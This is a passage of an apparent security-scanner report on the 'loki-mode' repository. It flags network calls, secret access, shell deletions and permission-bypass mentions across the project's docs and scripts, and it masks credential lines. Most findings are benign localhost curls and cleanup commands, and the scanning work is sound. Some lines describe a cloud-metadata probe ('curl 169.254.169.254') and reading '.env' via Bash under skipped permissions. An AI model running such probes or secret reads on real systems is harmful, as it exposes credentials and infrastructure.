    | Requirement | Level | Check | Fix | | --- | --- | --- | --- | | Node.js 20 or newer | required | `node` on PATH, version 20.0 or newer | install Node 20+ from https://nodejs.org |
  • Network accessline 162
    | --- | --- | --- | --- | | Node.js 20 or newer | required | `node` on PATH, version 20.0 or newer | install Node 20+ from https://nodejs.org | | Python 3.8 or newer (deep scans, Python repos, group runs; loki "<goal>" runs without it) | op
  • Network accessline 163
    | Node.js 20 or newer | required | `node` on PATH, version 20.0 or newer | install Node 20+ from https://nodejs.org |
  • Network accessline 165
    | jq (loki status and the bash fallback CLI; loki "<goal>" runs without it) | optional | `jq` on PATH | install jq with your package manager (brew install jq) | | git | required | `git` on PATH | install git with your package manager (brew 
  • Network accessline 166
    | git | required | `git` on PATH | install git with your package manager (brew install git) | | curl | required | `curl` on PATH | install curl with your package manager (brew install curl) | | bash 4.0 or newer | optional | `bash` on PATH,
  • Network accessline 167
    | curl | required | `curl` on PATH | install curl with your package manager (brew install curl) |
  • Network accessline 169
    | Bun 1.3 or newer (bundled by npm install) | optional | `bun` on PATH, version 1.3 or newer | reinstall without --no-optional (npm bundles @oven/bun-*) or install from https://bun.sh; without it loki falls back to the slower bash CLI |
  • Network accessline 185
    [Credential-related source omitted]
  • Access to secretsline 185
    [Credential-related source omitted]
  • Network accessline 187
    | Bun runtime (the SDK loop runs only on the Bun route) | required | `bun` on PATH, version 1.3 or newer | reinstall without --no-optional (npm bundles @oven/bun-*) or install from https://bun.sh |
  • Access to secretsline 212
    [Credential-related source omitted]
  • Access to secretsline 217
    [Credential-related source omitted]
  • Access to secretsline 219
    [Credential-related source omitted]

docs/architecture/ADR-001-runtime-migration.md

  • Network accessline 34
    Sources: - [Bun Blog: Bun is joining Anthropic](https://bun.com/blog/bun-joins-anthropic)
  • Network accessline 35
    - [Bun Blog: Bun is joining Anthropic](https://bun.com/blog/bun-joins-anthropic)
  • Network accessline 36
    - [Anthropic: Anthropic acquires Bun as Claude Code reaches $1B milestone](https://www.anthropic.com/news/anthropic-acquires-bun-as-claude-code-reaches-usd1b-milestone)

docs/audit-logging.md

  • Network accessline 234
    # Recent entries curl "http://localhost:57374/api/audit?limit=50"
  • Network accessline 235
    curl "http://localhost:57374/api/audit?limit=50"
  • Network accessline 237
    # With filters curl "http://localhost:57374/api/audit?event=session.start&limit=100"
  • Network accessline 238
    curl "http://localhost:57374/api/audit?event=session.start&limit=100"
  • Network accessline 240
    # Date range curl "http://localhost:57374/api/audit?start=2026-02-01&end=2026-02-15"
  • Network accessline 241
    curl "http://localhost:57374/api/audit?start=2026-02-01&end=2026-02-15"
  • Network accessline 259
    curl http://localhost:57374/api/audit/summary
  • Network accessline 355
    [Credential-related source omitted]
  • Network accessline 356
    [Credential-related source omitted]
  • Network accessline 358
    https://splunk.example.com:8088/services/collector/raw
  • Dangerous shell operationline 497
    find ~/.loki/dashboard/audit/ -name "*.jsonl" -mtime +30 -delete
  • Network accessline 507
    # Test syslog connectivity nc -zv syslog.example.com 514
  • Network accessline 508
    nc -zv syslog.example.com 514

docs/authentication.md

  • Network accessline 14
    Both methods can be enabled simultaneously and provide access to the dashboard API at `http://localhost:57374` (or `https://` with TLS enabled).
  • Network accessline 57
    [Credential-related source omitted]
  • Network accessline 58
    http://localhost:57374/api/status
  • Network accessline 105
    [Credential-related source omitted]
  • Access to secretsline 105
    [Credential-related source omitted]
  • Access to secretsline 106
    [Credential-related source omitted]
  • Network accessline 110
    [Credential-related source omitted]
  • Access to secretsline 110
    [Credential-related source omitted]
  • Access to secretsline 111
    [Credential-related source omitted]
  • Network accessline 148
    export LOKI_OIDC_ISSUER=https://accounts.google.com
  • Network accessline 155
    export LOKI_OIDC_ISSUER=https://login.microsoftonline.com/{tenant}/v2.0
  • Network accessline 162
    export LOKI_OIDC_ISSUER=https://your-org.okta.com
  • Network accessline 208
    export LOKI_ENTERPRISE_AUTH=true export LOKI_OIDC_ISSUER=https://accounts.google.com
  • Network accessline 209
    export LOKI_OIDC_ISSUER=https://accounts.google.com
  • Network accessline 222
    enabled: true     oidc:       issuer: https://accounts.google.com
  • Network accessline 223
    oidc:       issuer: https://accounts.google.com       client_id: your-client-id.apps.googleusercontent.com
  • Network accessline 224
    issuer: https://accounts.google.com
  • Access to secretsline 306
    [Credential-related source omitted]
  • Network accessline 311
    [Credential-related source omitted]
  • Network accessline 312
    [Credential-related source omitted]
  • Access to secretsline 312
    [Credential-related source omitted]
  • Network accessline 313
    http://localhost:57374/api/status -v
  • Network accessline 319
    # Verify issuer URL is reachable curl https://accounts.google.com/.well-known/openid-configuration
  • Network accessline 320
    curl https://accounts.google.com/.well-known/openid-configuration
  • Network accessline 328
    # Check redirect URI is whitelisted in identity provider # Should be: http://localhost:57374/auth/oidc/callback
  • Network accessline 329
    # Should be: http://localhost:57374/auth/oidc/callback
  • Network accessline 362
    [Credential-related source omitted]
  • Network accessline 363
    [Credential-related source omitted]
  • Network accessline 364
    [Credential-related source omitted]
  • Access to secretsline 364
    [Credential-related source omitted]
  • Network accessline 366
    -d '{"prd": "./prd.md"}' \                http://loki-server:57374/api/control/start
  • Network accessline 367
    http://loki-server:57374/api/control/start
  • Network accessline 380
    def get_status(self):         response = requests.get(
  • Network accessline 381
    response = requests.get(
  • Network accessline 387
    def start_session(self, prd_file):         response = requests.post(
  • Network accessline 388
    response = requests.post(
  • Network accessline 395
    client = LokiClient("http://localhost:57374", "loki_xxx...")

docs/authorization.md

  • Network accessline 228
    [Credential-related source omitted]
  • Network accessline 229
    [Credential-related source omitted]
  • Access to secretsline 229
    [Credential-related source omitted]
  • Network accessline 230
    http://localhost:57374/api/status
  • Network accessline 267
    # Production - OIDC with a least-privilege default export LOKI_ENTERPRISE_AUTH=true export LOKI_OIDC_ISSUER=https://accounts.example.com
  • Network accessline 268
    export LOKI_ENTERPRISE_AUTH=true export LOKI_OIDC_ISSUER=https://accounts.example.com export LOKI_OIDC_CLIENT_ID=loki-prod
  • Network accessline 269
    export LOKI_OIDC_ISSUER=https://accounts.example.com
  • Network accessline 389
    [Credential-related source omitted]
  • Network accessline 390
    [Credential-related source omitted]
  • Network accessline 391
    http://localhost:57374/api/enterprise/rbac/check?scope=control
  • Network accessline 405
    export LOKI_ENTERPRISE_AUTH=true export LOKI_OIDC_ISSUER=https://accounts.example.com
  • Network accessline 406
    export LOKI_OIDC_ISSUER=https://accounts.example.com

docs/control-plane-container.md

  • Network accessline 16
    [Credential-related source omitted]
  • Network accessline 18
    LOKI_CONTROL_URL=http://localhost:47821 loki control status
  • Access to secretsline 26
    [Credential-related source omitted]
  • Access to secretsline 30
    [Credential-related source omitted]

docs/control-plane-migration.md

  • Network accessline 26
    - Bun is required (https://bun.sh). Without it `loki dashboard` says so and does not start a server.

docs/cost-controls.md

  • Access to secretsline 64
    [Credential-related source omitted]

docs/dev/architecture-reference.md

  • Dangerous shell operationline 112
    This fail-closed direction is DELIBERATE, not a bug: on the agent-authored route the gated agent writes its own counter-evidence, so mechanical verification is forgeable. On bash the only exits from a Critical/High BLOCK are to fix the find
  • Network accessline 127
    `prepare_worktree(source_repo, dest, branch, setup=None, base=None)` creates an isolated git worktree and returns `{path, base_sha, deps, left_out_changes, deps_skipped}`. The start point is `origin/HEAD` after a fetch (when a remote exists
  • Access to secretsline 148
    [Credential-related source omitted]

docs/dev/release-checklist.md

  • Network accessline 96
    loki web --no-open & sleep 3 curl -s http://127.0.0.1:57374/ | grep -q "Loki" && echo "PASS: web app serves" || echo "FAIL"
  • Network accessline 97
    sleep 3 curl -s http://127.0.0.1:57374/ | grep -q "Loki" && echo "PASS: web app serves" || echo "FAIL" curl -s http://127.0.0.1:57374/api/status | python3 -c "import json,sys; json.load(sys.stdin)" 2>/dev/null && echo "PASS: API responds" |
  • Network accessline 98
    curl -s http://127.0.0.1:57374/ | grep -q "Loki" && echo "PASS: web app serves" || echo "FAIL"
  • Dangerous shell operationline 99
    curl -s http://127.0.0.1:57374/api/status | python3 -c "import json,sys; json.load(sys.stdin)" 2>/dev/null && echo "PASS: API responds" || echo "FAIL"
  • Network accessline 99
    curl -s http://127.0.0.1:57374/api/status | python3 -c "import json,sys; json.load(sys.stdin)" 2>/dev/null && echo "PASS: API responds" || echo "FAIL"
  • Dangerous shell operationline 102
    rm -f loki-mode-*.tgz

docs/dev/tmp-cleanup.md

  • Dangerous shell operationline 49
    rm -f -- "$marker"
  • Dangerous shell operationline 130
    rm -rf -- "$target"

docs/environment-variables.md

  • Access to secretsline 26
    [Credential-related source omitted]
  • Access to secretsline 47
    [Credential-related source omitted]
  • Instruction override signalline 115
    This is not complete secret-file protection: `Read` denies do not stop `Bash(cat .env)` under `--dangerously-skip-permissions`.
  • Instruction override signalline 116
    `Bash(cat .env)` under `--dangerously-skip-permissions`.
  • Access to secretsline 228
    [Credential-related source omitted]

docs/examples/loki-issue-to-pr.yml.example

  • Access to secretsline 9
    [Credential-related source omitted]
  • Access to secretsline 86
    [Credential-related source omitted]
  • Access to secretsline 88
    [Credential-related source omitted]
  • Access to secretsline 89
    [Credential-related source omitted]
  • Access to secretsline 98
    [Credential-related source omitted]
  • Access to secretsline 353
    [Credential-related source omitted]
  • Access to secretsline 362
    [Credential-related source omitted]
  • Access to secretsline 363
    [Credential-related source omitted]

docs/exit-codes.md

  • Access to secretsline 448
    [Credential-related source omitted]
  • Network accessline 472
    | `start owner/repo#5` | engine10 | engine10:claude | none | default: issue input runs on engine10 regardless of flag order | | `start owner/repo#5 --provider claude` | engine10 | engine10:claude | none | default: issue input runs on engine
  • Network accessline 473
    | `start owner/repo#5 --provider claude` | engine10 | engine10:claude | none | default: issue input runs on engine10 regardless of flag order | | `start https://github.com/owner/repo/issues/5` | engine10 | engine10:claude | none | default: 
  • Network accessline 474
    | `start https://github.com/owner/repo/issues/5` | engine10 | engine10:claude | none | default: issue input runs on engine10 regardless of flag order |

docs/git-workflow.md

  • Access to secretsline 171
    [Credential-related source omitted]
  • Access to secretsline 284
    [Credential-related source omitted]
  • Network accessline 359
    # .pre-commit-config.yaml repos:   - repo: https://github.com/pre-commit/pre-commit-hooks
  • Network accessline 360
    repos:   - repo: https://github.com/pre-commit/pre-commit-hooks     hooks:
  • Network accessline 361
    - repo: https://github.com/pre-commit/pre-commit-hooks
  • Network accessline 363
    - id: detect-private-key       - id: detect-aws-credentials   - repo: https://github.com/Yelp/detect-secrets
  • Network accessline 364
    - id: detect-aws-credentials   - repo: https://github.com/Yelp/detect-secrets     hooks:
  • Network accessline 365
    - repo: https://github.com/Yelp/detect-secrets

docs/image-provenance.md

  • Network accessline 44
    Requires [cosign](https://github.com/sigstore/cosign) v2.x. Substitute your
  • Network accessline 57
    cosign verify \   --certificate-identity-regexp 'https://github.com/asklokesh/loki-mode/.github/workflows/release.yml@.*' \
  • Network accessline 58
    --certificate-identity-regexp 'https://github.com/asklokesh/loki-mode/.github/workflows/release.yml@.*' \
  • Network accessline 59
    --certificate-oidc-issuer https://token.actions.githubusercontent.com \
  • Network accessline 87
    cosign verify-attestation \   --type cyclonedx \   --certificate-identity-regexp 'https://github.com/asklokesh/loki-mode/.github/workflows/release.yml@.*' \
  • Network accessline 88
    --type cyclonedx \   --certificate-identity-regexp 'https://github.com/asklokesh/loki-mode/.github/workflows/release.yml@.*' \   --certificate-oidc-issuer https://token.actions.githubusercontent.com \
  • Network accessline 89
    --certificate-identity-regexp 'https://github.com/asklokesh/loki-mode/.github/workflows/release.yml@.*' \
  • Network accessline 90
    --certificate-oidc-issuer https://token.actions.githubusercontent.com \
  • Network accessline 158
    are genuinely unsigned and no command will make them verify. 4. **The image is not what we published.** Report it at    https://github.com/asklokesh/loki-mode/issues and do not run it.
  • Network accessline 160
    https://github.com/asklokesh/loki-mode/issues and do not run it.

docs/index.html

  • Network accessline 3
    <head>     <meta charset="UTF-8">     <meta http-equiv="refresh" content="0; url=https://autonomi.dev/docs">
  • Network accessline 4
    <meta charset="UTF-8">     <meta http-equiv="refresh" content="0; url=https://autonomi.dev/docs">     <link rel="canonical" href="https://autonomi.dev/docs">
  • Network accessline 5
    <meta http-equiv="refresh" content="0; url=https://autonomi.dev/docs">
  • Network accessline 6
    <link rel="canonical" href="https://autonomi.dev/docs">
  • Network accessline 61
    <h1>Loki Mode</h1>         <div class="spinner"></div>         <p>Redirecting to <a href="https://autonomi.dev/docs">autonomi.dev/docs</a>...</p>
  • Network accessline 62
    <div class="spinner"></div>         <p>Redirecting to <a href="https://autonomi.dev/docs">autonomi.dev/docs</a>...</p>     </div>
  • Network accessline 63
    <p>Redirecting to <a href="https://autonomi.dev/docs">autonomi.dev/docs</a>...</p>
  • Network accessline 64
    </div>     <script>window.location.replace("https://autonomi.dev/docs");</script> </body>
  • Network accessline 65
    <script>window.location.replace("https://autonomi.dev/docs");</script>

docs/metrics.md

  • Network accessline 25
    # View metrics curl http://127.0.0.1:47821/v1/metrics
  • Network accessline 26
    curl http://127.0.0.1:47821/v1/metrics
  • Network accessline 35
    GET http://127.0.0.1:47821/v1/metrics
  • Network accessline 124
    # Fetch all metrics from a running Control Plane curl -s http://127.0.0.1:47821/v1/metrics
  • Network accessline 125
    curl -s http://127.0.0.1:47821/v1/metrics
  • Network accessline 127
    # Filter one metric curl -s http://127.0.0.1:47821/v1/metrics | grep loki_cost_usd
  • Network accessline 128
    curl -s http://127.0.0.1:47821/v1/metrics | grep loki_cost_usd
  • Network accessline 197
    2. Click "Add data source" 3. Select "Prometheus" 4. URL: `http://prometheus-server:9090`
  • Network accessline 198
    3. Select "Prometheus" 4. URL: `http://prometheus-server:9090` 5. Save & Test
  • Network accessline 199
    4. URL: `http://prometheus-server:9090`
  • Network accessline 285
    instances:   - prometheus_url: http://127.0.0.1:47821/v1/metrics
  • Network accessline 286
    - prometheus_url: http://127.0.0.1:47821/v1/metrics
  • Dangerous shell operationline 306
    sudo systemctl restart datadog-agent
  • Network accessline 432
    # Check the Control Plane is running loki control status curl http://127.0.0.1:47821/health
  • Network accessline 434
    curl http://127.0.0.1:47821/health
  • Network accessline 456
    # Verify the Control Plane is running on the expected port curl http://127.0.0.1:47821/health
  • Network accessline 457
    curl http://127.0.0.1:47821/health
  • Network accessline 467
    # Test endpoint manually curl http://127.0.0.1:47821/v1/metrics
  • Network accessline 468
    curl http://127.0.0.1:47821/v1/metrics
  • Network accessline 470
    # Check Prometheus targets page open http://prometheus-server:9090/targets
  • Network accessline 471
    open http://prometheus-server:9090/targets
  • Network accessline 486
    cat > /tmp/budget_check.sh <<'EOF' #!/bin/bash COST=$(curl -s http://127.0.0.1:47821/v1/metrics | grep loki_cost_usd | awk '{print $2}')
  • Network accessline 487
    #!/bin/bash COST=$(curl -s http://127.0.0.1:47821/v1/metrics | grep loki_cost_usd | awk '{print $2}') if (( $(echo "$COST > 4.5" | bc -l) )); then
  • Network accessline 488
    COST=$(curl -s http://127.0.0.1:47821/v1/metrics | grep loki_cost_usd | awk '{print $2}')
  • Network accessline 506
    def get_loki_metrics():     response = requests.get("http://127.0.0.1:47821/v1/metrics")
  • Network accessline 507
    response = requests.get("http://127.0.0.1:47821/v1/metrics")
  • Network accessline 527
    - name: slack     slack_configs:       - api_url: 'https://hooks.slack.com/services/YOUR/WEBHOOK/URL'
  • Network accessline 528
    slack_configs:       - api_url: 'https://hooks.slack.com/services/YOUR/WEBHOOK/URL'         channel: '#loki-alerts'
  • Network accessline 529
    - api_url: 'https://hooks.slack.com/services/YOUR/WEBHOOK/URL'

docs/network-security.md

  • Access to secretsline 68
    [Credential-related source omitted]
  • Access to secretsline 160
    [Credential-related source omitted]
  • Access to secretsline 181
    [Credential-related source omitted]
  • Access to secretsline 199
    [Credential-related source omitted]
  • Dangerous shell operationline 244
    sudo iptables -L DOCKER-USER -n -v
  • Network accessline 256
    # Verify dashboard is listening on HTTPS curl -k https://localhost:57374/health
  • Network accessline 257
    curl -k https://localhost:57374/health

docs/overview.html

  • Network accessline 6
    <title>Loki Mode Overview</title> <meta name="description" content="Loki Mode 10 explained for users, engineers, architects, executives, and as a pitch, with real flow diagrams."> <link rel="preconnect" href="https://fonts.googleapis.com">
  • Network accessline 7
    <meta name="description" content="Loki Mode 10 explained for users, engineers, architects, executives, and as a pitch, with real flow diagrams."> <link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https
  • Network accessline 8
    <link rel="preconnect" href="https://fonts.googleapis.com">
  • Network accessline 9
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
  • Network accessline 10
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700;800&family=JetBrains+Mono:wght@400;500&display=swap" rel="stylesheet">
  • Network accessline 11
    <script src="https://cdn.jsdelivr.net/npm/mermaid@11/dist/mermaid.min.js"></script>
  • Network accessline 464
    <div><span class="p">$</span> loki owner/repo#123</div>     </div>     <p class="big" style="margin-top:12px"><a href="https://github.com/asklokesh/loki-mode">github.com/asklokesh/loki-mode</a> &middot; <a href="https://www.autonomi.dev">au
  • Network accessline 465
    </div>     <p class="big" style="margin-top:12px"><a href="https://github.com/asklokesh/loki-mode">github.com/asklokesh/loki-mode</a> &middot; <a href="https://www.autonomi.dev">autonomi.dev</a></p>   </div>
  • Network accessline 466
    <p class="big" style="margin-top:12px"><a href="https://github.com/asklokesh/loki-mode">github.com/asklokesh/loki-mode</a> &middot; <a href="https://www.autonomi.dev">autonomi.dev</a></p>
  • Network accessline 472
    <footer>Loki Mode by <a href="https://www.autonomi.dev">Autonomi</a>. Source-available under BUSL-1.1, free to use.</footer>

docs/sentry-intake.md

  • Access to secretsline 9
    [Credential-related source omitted]
  • Network accessline 11
    [Credential-related source omitted]
  • Access to secretsline 11
    [Credential-related source omitted]
  • Network accessline 13
    The token is sent only to the Sentry host through a curl config on stdin, never on argv, and is never printed. Implementation: `autonomy/issue-providers.sh` (`normalize_sentry_json`).
  • Access to secretsline 19
    [Credential-related source omitted]
  • Network accessline 37
    2. The signature is `v0=` + hex HMAC-SHA256 over `v0:<X-Slack-Request-Timestamp>:<raw body>`, window 300s, the same contract as `loki-ts/src/contrib/slack_inbound.ts`. Bad, stale or missing signature: 401, nothing queued. 3. The command tex
  • Network accessline 39
    4. On completion the summary is posted to the request's `response_url`, only if it starts with `https://hooks.slack.com/`. Any other host is never contacted.
  • Network accessline 44
    2. `Linear-Signature` is the hex HMAC-SHA256 of the raw body, and the signed `webhookTimestamp` must be within 300s. Otherwise 401. 3. A created issue enqueues `loki start linear:<identifier>` and answers 202 with the job id. Other events a
  • Network accessline 46
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]

docs/siem-integration.md

  • Network accessline 125
    export LOKI_SPLUNK_HEC_URL=https://splunk.example.com:8088/services/collector
  • Access to secretsline 126
    [Credential-related source omitted]
  • Network accessline 144
    # Install Splunk Universal Forwarder wget -O splunkforwarder.tgz 'https://download.splunk.com/...'
  • Network accessline 145
    wget -O splunkforwarder.tgz 'https://download.splunk.com/...'
  • Network accessline 165
    # Configure Loki Mode export LOKI_SPLUNK_HEC_URL=https://splunk.example.com:8088/services/collector
  • Network accessline 166
    export LOKI_SPLUNK_HEC_URL=https://splunk.example.com:8088/services/collector
  • Access to secretsline 167
    [Credential-related source omitted]
  • Network accessline 172
    siem:     splunk:       hec_url: https://splunk.example.com:8088/services/collector
  • Network accessline 173
    [Credential-related source omitted]
  • Network accessline 174
    hec_url: https://splunk.example.com:8088/services/collector
  • Network accessline 260
    # Elasticsearch output output.elasticsearch:   hosts: ["https://elasticsearch.example.com:9200"]
  • Network accessline 261
    output.elasticsearch:   hosts: ["https://elasticsearch.example.com:9200"]   index: "loki-audit-%{+yyyy.MM.dd}"
  • Network accessline 262
    hosts: ["https://elasticsearch.example.com:9200"]
  • Network accessline 267
    # Kibana dashboards setup.kibana:   host: "https://kibana.example.com:5601"
  • Network accessline 269
    host: "https://kibana.example.com:5601"
  • Network accessline 347
    # Local Datadog Agent OTLP receiver (recommended) export LOKI_OTEL_ENDPOINT=http://localhost:4318
  • Network accessline 348
    export LOKI_OTEL_ENDPOINT=http://localhost:4318
  • Network accessline 351
    # Agentless intake (set API key + site) export LOKI_OTEL_ENDPOINT=http://localhost:4318
  • Network accessline 352
    export LOKI_OTEL_ENDPOINT=http://localhost:4318
  • Access to secretsline 353
    [Credential-related source omitted]
  • Network accessline 364
    export LOKI_OTEL_ENDPOINT=https://api.honeycomb.io   # or https://api.eu1.honeycomb.io
  • Access to secretsline 366
    [Credential-related source omitted]
  • Network accessline 583
    # Check syslog connectivity nc -zv syslog.example.com 514
  • Network accessline 584
    nc -zv syslog.example.com 514

docs/slack.md

  • Access to secretsline 8
    [Credential-related source omitted]
  • Access to secretsline 9
    [Credential-related source omitted]

docs/trackers.md

  • Access to secretsline 20
    [Credential-related source omitted]
  • Network accessline 24
    - Jira: `JIRA_EMAIL`, `JIRA_API_TOKEN` and `JIRA_BASE_URL` (for example `https://acme.atlassian.net`). `JIRA_BASE_URL` may be omitted when you pass an `atlassian.net` browse URL.
  • Access to secretsline 25
    [Credential-related source omitted]
  • Access to secretsline 27
    [Credential-related source omitted]

docs/v10/GUIDE.md

  • Access to secretsline 52
    [Credential-related source omitted]
  • Network accessline 129
    loki owner/repo#123 loki https://github.com/owner/repo/issues/123
  • Network accessline 130
    loki https://github.com/owner/repo/issues/123
  • Access to secretsline 160
    [Credential-related source omitted]
  • Network accessline 301
    PR:         https://github.com/owner/repo/pull/1
  • Access to secretsline 367
    [Credential-related source omitted]
  • Access to secretsline 430
    [Credential-related source omitted]
  • Access to secretsline 458
    [Credential-related source omitted]
  • Access to secretsline 466
    [Credential-related source omitted]
  • Network accessline 486
    | Kind | Base URL | Token | |------|----------|-------| | `openrouter/<id>` | https://openrouter.ai/api | `OPENROUTER_API_KEY` |
  • Network accessline 487
    |------|----------|-------| | `openrouter/<id>` | https://openrouter.ai/api | `OPENROUTER_API_KEY` | | `ollama/<id>` | http://localhost:11434 | none |
  • Network accessline 488
    [Credential-related source omitted]
  • Access to secretsline 488
    [Credential-related source omitted]
  • Network accessline 489
    | `ollama/<id>` | http://localhost:11434 | none |
  • Network accessline 490
    | `lmstudio/<id>` | http://localhost:1234 | none |
  • Network accessline 491
    | `llamacpp/<id>` | http://localhost:8080 | none |
  • Network accessline 492
    | `vllm/<id>` | http://localhost:8000 | none |
  • Access to secretsline 493
    [Credential-related source omitted]

events/__init__.py

  • Executable scriptline 1
    Executable file

events/bus.py

  • Executable scriptline 1
    Executable file

events/bus.ts

  • Executable scriptline 1
    Executable file

events/emit.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 110
    rmdir "$lock_dir" 2>/dev/null || rm -rf "$lock_dir" 2>/dev/null || true
  • Dangerous shell operationline 310
    rm -f "$EVENT_TMP" 2>/dev/null || true

glama.json

  • Network accessline 1
    {   "$schema": "https://glama.ai/mcp/schemas/server.json",
  • Network accessline 2
    "$schema": "https://glama.ai/mcp/schemas/server.json",

helm/loki-mode/Chart.yaml

  • Network accessline 17
    home: https://www.autonomi.dev/
  • Network accessline 19
    - https://github.com/asklokesh/loki-mode

helm/loki-mode/templates/networkpolicy.yaml

  • Network accessline 20
    stops at the cluster edge: it cannot filter traffic once it has left. Egress   control to the internet belongs in a NAT gateway, firewall or proxy you run.   Verify enforcement with an actual `curl 169.254.169.254` from a worker pod
  • Network accessline 21
    control to the internet belongs in a NAT gateway, firewall or proxy you run.   Verify enforcement with an actual `curl 169.254.169.254` from a worker pod   before believing any of this.
  • Network accessline 22
    Verify enforcement with an actual `curl 169.254.169.254` from a worker pod

helm/loki-mode/templates/tests/test-receiver-health.yaml

  • Network accessline 36
    - |           import json, sys, urllib.request           url = "http://{{ include "loki-mode.fullname" . }}-receiver:{{ .Values.receiver.service.port }}/health"
  • Network accessline 37
    import json, sys, urllib.request           url = "http://{{ include "loki-mode.fullname" . }}-receiver:{{ .Values.receiver.service.port }}/health"           with urllib.request.urlopen(url, timeout=10) as r:
  • Network accessline 38
    url = "http://{{ include "loki-mode.fullname" . }}-receiver:{{ .Values.receiver.service.port }}/health"           with urllib.request.urlopen(url, timeout=10) as r:               code, body = r.status, r.read().decode()
  • Network accessline 39
    with urllib.request.urlopen(url, timeout=10) as r:

helm/loki-mode/templates/worker-deployment.yaml

  • Access to secretsline 80
    [Credential-related source omitted]

integrations/openclaw/README.md

  • Access to secretsline 39
    [Credential-related source omitted]

integrations/openclaw/SKILL.md

  • Access to secretsline 17
    [Credential-related source omitted]

integrations/openclaw/bridge/__init__.py

  • Executable scriptline 1
    Executable file

integrations/openclaw/bridge/__main__.py

  • Executable scriptline 1
    Executable file

integrations/openclaw/bridge/schema_map.py

  • Executable scriptline 1
    Executable file

integrations/openclaw/bridge/watcher.py

  • Executable scriptline 1
    Executable file

integrations/openclaw/scripts/format-progress.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

integrations/openclaw/scripts/poll-status.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

integrations/vibe-kanban.md

  • Network accessline 3
    Loki Mode can optionally integrate with [Vibe Kanban](https://github.com/BloopAI/vibe-kanban) to provide a visual dashboard for monitoring autonomous execution.
  • Instruction override signalline 36
    # Option B: Manual Mode via Claude Code claude --dangerously-skip-permissions
  • Instruction override signalline 37
    claude --dangerously-skip-permissions
  • Network accessline 218
    **Checklist:** 1. Is Vibe Kanban running? Check http://127.0.0.1:53380
  • Network accessline 219
    1. Is Vibe Kanban running? Check http://127.0.0.1:53380

learning/__init__.py

  • Executable scriptline 1
    Executable file

learning/aggregate.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Access to secretsline 164
    [Credential-related source omitted]
  • Access to secretsline 165
    [Credential-related source omitted]
  • Access to secretsline 166
    [Credential-related source omitted]
  • Access to secretsline 167
    [Credential-related source omitted]
  • Access to secretsline 168
    [Credential-related source omitted]
  • Access to secretsline 169
    [Credential-related source omitted]
  • Access to secretsline 170
    [Credential-related source omitted]
  • Access to secretsline 171
    [Credential-related source omitted]
  • Access to secretsline 172
    [Credential-related source omitted]

learning/aggregator.py

  • Executable scriptline 1
    Executable file

learning/emit.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Access to secretsline 305
    [Credential-related source omitted]
  • Access to secretsline 337
    [Credential-related source omitted]
  • Access to secretsline 338
    [Credential-related source omitted]
  • Access to secretsline 339
    [Credential-related source omitted]
  • Access to secretsline 340
    [Credential-related source omitted]
  • Access to secretsline 341
    [Credential-related source omitted]
  • Access to secretsline 342
    [Credential-related source omitted]
  • Access to secretsline 343
    [Credential-related source omitted]
  • Access to secretsline 344
    [Credential-related source omitted]
  • Access to secretsline 368
    [Credential-related source omitted]
  • Access to secretsline 369
    [Credential-related source omitted]
  • Access to secretsline 370
    [Credential-related source omitted]
  • Access to secretsline 388
    [Credential-related source omitted]
  • Access to secretsline 389
    [Credential-related source omitted]
  • Access to secretsline 390
    [Credential-related source omitted]
  • Access to secretsline 391
    [Credential-related source omitted]
  • Access to secretsline 392
    [Credential-related source omitted]
  • Access to secretsline 412
    [Credential-related source omitted]
  • Access to secretsline 413
    [Credential-related source omitted]
  • Access to secretsline 414
    [Credential-related source omitted]
  • Access to secretsline 415
    [Credential-related source omitted]
  • Access to secretsline 416
    [Credential-related source omitted]
  • Access to secretsline 445
    [Credential-related source omitted]
  • Access to secretsline 446
    [Credential-related source omitted]
  • Access to secretsline 447
    [Credential-related source omitted]
  • Access to secretsline 448
    [Credential-related source omitted]
  • Access to secretsline 449
    [Credential-related source omitted]
  • Access to secretsline 471
    [Credential-related source omitted]
  • Access to secretsline 472
    [Credential-related source omitted]
  • Access to secretsline 473
    [Credential-related source omitted]
  • Access to secretsline 474
    [Credential-related source omitted]
  • Access to secretsline 475
    [Credential-related source omitted]

learning/emitter.py

  • Executable scriptline 1
    Executable file

learning/signals.py

  • Executable scriptline 1
    Executable file

learning/signals.ts

  • Executable scriptline 1
    Executable file

learning/suggest.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

learning/suggestions.py

  • Executable scriptline 1
    Executable file

loki-ts/data/child-env.json

  • Access to secretsline 190
    [Credential-related source omitted]

loki-ts/data/code-review-schema.json

  • Network accessline 1
    {   "$schema": "http://json-schema.org/draft-07/schema#",
  • Network accessline 2
    "$schema": "http://json-schema.org/draft-07/schema#",
  • Network accessline 3
    "$id": "https://loki-mode.dev/schemas/code-review.json",

loki-ts/data/council-v2-schema.json

  • Network accessline 1
    {   "$schema": "http://json-schema.org/draft-07/schema#",
  • Network accessline 2
    "$schema": "http://json-schema.org/draft-07/schema#",
  • Network accessline 3
    "$id": "https://loki-mode.dev/schemas/council-v2.json",

loki-ts/data/done-recognition-schema.json

  • Network accessline 1
    {   "$schema": "http://json-schema.org/draft-07/schema#",
  • Network accessline 2
    "$schema": "http://json-schema.org/draft-07/schema#",
  • Network accessline 3
    "$id": "https://loki-mode.dev/schemas/done-recognition.json",

loki-ts/data/finding-schema.json

  • Network accessline 1
    {   "$schema": "http://json-schema.org/draft-07/schema#",
  • Network accessline 2
    "$schema": "http://json-schema.org/draft-07/schema#",
  • Network accessline 3
    "$id": "https://loki-mode.dev/schemas/finding.json",

loki-ts/data/model-pricing.json

  • Network accessline 5
    "default_max_cost_usd": 100,   "inference_geo_multipliers": {"us": 1.1},   "_source": "https://platform.claude.com/docs/en/about-claude/pricing (docs.anthropic.com/en/docs/about-claude/pricing 301-redirects there), read 2026-10-08. Per MTok
  • Network accessline 6
    "inference_geo_multipliers": {"us": 1.1},   "_source": "https://platform.claude.com/docs/en/about-claude/pricing (docs.anthropic.com/en/docs/about-claude/pricing 301-redirects there), read 2026-10-08. Per MTok. fable=Claude Fable 5.1 $10/$5
  • Network accessline 7
